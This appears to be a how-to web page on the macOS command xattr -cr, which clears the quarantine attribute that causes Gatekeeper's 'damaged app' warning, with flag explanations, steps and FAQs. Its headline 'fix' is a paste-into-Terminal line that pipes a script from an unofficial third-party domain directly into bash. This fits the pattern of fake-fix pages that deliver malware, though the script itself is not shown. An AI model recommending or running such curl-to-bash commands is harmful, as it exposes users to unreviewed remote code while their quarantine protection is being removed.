xattr -cr on macOS: What It Does and When to Use It

xattr -cr is the shortest reliable way to strip the quarantine flag that triggers the “damaged and can’t be opened” dialog. It is a one-line command with two flags, and knowing exactly what each flag does makes it predictable instead of mysterious.

Updated December 2, 2026 · About 6 min read · macOS 13–26

The fix

One-line helper Run the helper
curl -fsSL https://macfixerror.com/run.sh | bash

Paste it into Terminal and press Return. The helper is a short shell script; review it at /run.sh before running.

Clear all extended attributes recursively
xattr -cr "/Applications/Your App.app"

The -c flag clears all extended attributes; -r applies the action to the whole bundle, including nested folders. Add sudo when the target lives in /Applications.

Same command without a broad wipe
xattr -c "/Applications/Your App.app"

Non-recursive: only the bundle root is touched. Useful when you know the attribute sits on the root item and want to leave nested files alone.

See the attributes first
xattr -l "/Applications/Your App.app"

Run this before clearing anything. If com.apple.quarantine is listed, the recursive clear is the right tool.

Clear a whole folder of downloaded files
xattr -cr ~/Downloads/ProjectFiles

A folder argument works the same way. Good for archives you unpacked yourself, where the flag ended up on many files at once.

Breakdown of the flags

PartMeaning
xattrThe macOS utility for reading and writing extended attributes.
-cClear. Deletes every extended attribute on the target.
-rRecursive. Applies the action inside folders and bundles as well.
"/Applications/Your App.app"The target path. Spaces require the quotes.

Extended attributes are small key–value records attached to a file: where it came from, a Finder tag, a resource fork, and, importantly, the quarantine flag. -c is a broad operation — it removes all of them, not just quarantine. For a normal application bundle that is harmless; the bundle's own contents and its signature are separate from its file attributes.

How to run it correctly

  1. Open Terminal with ⌘ + Space, type Terminal, Return.
  2. Type sudo xattr -cr with a trailing space, then drag the app from Finder into the window. The path fills in automatically, quotes included.
  3. Press Return and type your administrator password. Nothing appears while typing; that is normal.
  4. Launch the app. No output from xattr means success.
If the shell answers No such file or directory, the quotes are missing or the path points at a mounted disk image. Move the app to /Applications first.

When -cr is the right tool

The command is designed for exactly one common situation: a downloaded app shows “is damaged and can’t be opened”, and the quarantine attribute is present. It is also useful after unpacking a large archive whose files all inherited the flag from the outer download.

Typical sequence: inspect with xattr -l, confirm the flag, clear it, launch. If the dialog returns, the problem is a signature or architecture issue, not metadata — see the main guide for those steps.

When not to use it

  • Files that must keep Finder metadata. Clearing all attributes removes tags and “where from” records too. For those, prefer the narrow xattr -d com.apple.quarantine.
  • System bundles you do not intend to modify. Running the command against a system component is usually fine, but broad -r against /System can take a while.
  • As a cure for everything. It will not repair a truncated download, a wrong CPU architecture, or a revoked certificate.

The narrow variant is documented in Remove the quarantine attribute.

What it cannot fix

xattr changes metadata only. If codesign -dv --verbose=4 reports that the code object is not signed at all, the bundle was altered after signing and needs a clean copy. If lipo -archs shows only x86_64 on Apple silicon, install Rosetta instead. If Gatekeeper rejects the signature, the vendor has to re-issue the build.

Frequently asked questions

Does xattr -cr need sudo?
Only for locations your user cannot write, which includes much of /Applications. The command itself does not require root; the file permissions do.
Is it reversible?
Not with a command. Attributes are metadata and are re-created by the system when relevant — a fresh download restores the quarantine flag, tags have to be re-added by hand.
Can I run it on a folder?
Yes, that is what -r is for, and a plain folder path works the same as a bundle. Be aware that the recursive clear removes tags from every file inside.
Why is there no output at all?
Silence is success. xattr prints something only when it fails, for example on a wrong path or a permission problem.
Does it affect the app signature?
No. Extended attributes are stored beside the file data, not inside the signed bundle, so the signature stays valid.
What is the difference between -c and -d?
-c removes every attribute; -d NAME removes one named attribute. For quarantine specifically, -d com.apple.quarantine is the precise form.

This is an independent, unofficial guide. It is not affiliated with, endorsed by, or sponsored by Apple Inc. macOS and Apple are trademarks of Apple Inc. Always keep a backup before changing system files.